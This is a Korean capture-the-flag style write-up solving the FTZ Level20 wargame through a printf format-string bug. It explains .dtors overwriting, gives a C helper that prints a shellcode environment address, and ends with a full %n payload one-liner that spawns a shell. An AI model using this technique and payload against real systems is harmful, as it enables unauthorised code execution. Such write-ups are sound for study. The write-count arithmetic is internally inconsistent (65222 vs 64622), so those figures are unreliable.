ii4gsp
FTZ - Level20 본문
bleh의 버퍼는 80byte의 크기인데 fgets() 함수로 버퍼를 79byte만큼 입력을받아 버퍼 오버플로우는 힘들것 같다.
하지만 printf() 함수에서 포맷스트링 버그가 일어난다.
서식문자를 입력하니 메모리를 읽어서 출력한다.
문자와 서식문자를 같이 입력하니 입력한 A의 값 41414141이 보인다.
gdb로 disas main을하니 main symbol을 찾을 수 없다고 한다.
.dtors를 활용 하면 될 것 같다.
gcc는 컴파일 할 때 .ctors와 .dtors 두 세그먼트를 생성한다.
.ctors는 main() 전에 실행되고 .dtors는 main() 종료 후에 실행된다.
main()이 종료되고 .dtors함수가 실행되기 전에 쉘 코드 주소 넣으면 된다.
.dtors 세그먼트의 주소는 0x08049594이다.
.dtors 주소의 4byte를 더한 0x08049598에 쉘코드의 주소를 넣으면 된다.
#include <stdio.h>
int main()
{
printf("%p\n", getenv("shellcode"));
return 0;
}
쉘코드 주소를 얻기위해 소스코드를 작성해주고
환경변수에 쉘코드를 등록해주고 작성한 코드를 실행하여 쉘코드의 주소를 알아냈다.
쉘코드의 주소는 0xbffffeee 10진수로 3,221,225,198 int형의 최대값을 벗어나기 때문에 2byte씩 나누어 입력해야한다.
feee = 65262, bfff = 49151
65262에서 앞에서 채운 40만큼 빼줘야한다
65262 - 40 = 65222
마찬가지로 49151도 바꿔줘야 하는데 이전 출력된 수가 64622이므로 49151에서 64622를 빼줘야하는데
64622가 더 크므로 0x1BFFF에서 0xFEEE를 빼주면된다.
%n은 현재까지 입력한 바이트 수의 값을 가진다.
%n을 이용하여 페이로드를 작성하면 될것이다.
payload
(python -c 'print "\x90" * 4 + "\x98\x95\x04\x08" + "\x90" * 4 + "\x9a\x95\x04\x08" + "%8x" * 3 + "%65222c%n" + "%49425c%n"';cat) | ./attackme
'시스템 해킹 > FTZ' 카테고리의 다른 글
FTZ - Level19 (0) | 2020.01.11 |
---|---|
FTZ - Level18 (0) | 2020.01.11 |
FTZ - Level17 (0) | 2020.01.10 |
FTZ - Level16 (0) | 2020.01.10 |
FTZ - Level15 (0) | 2020.01.10 |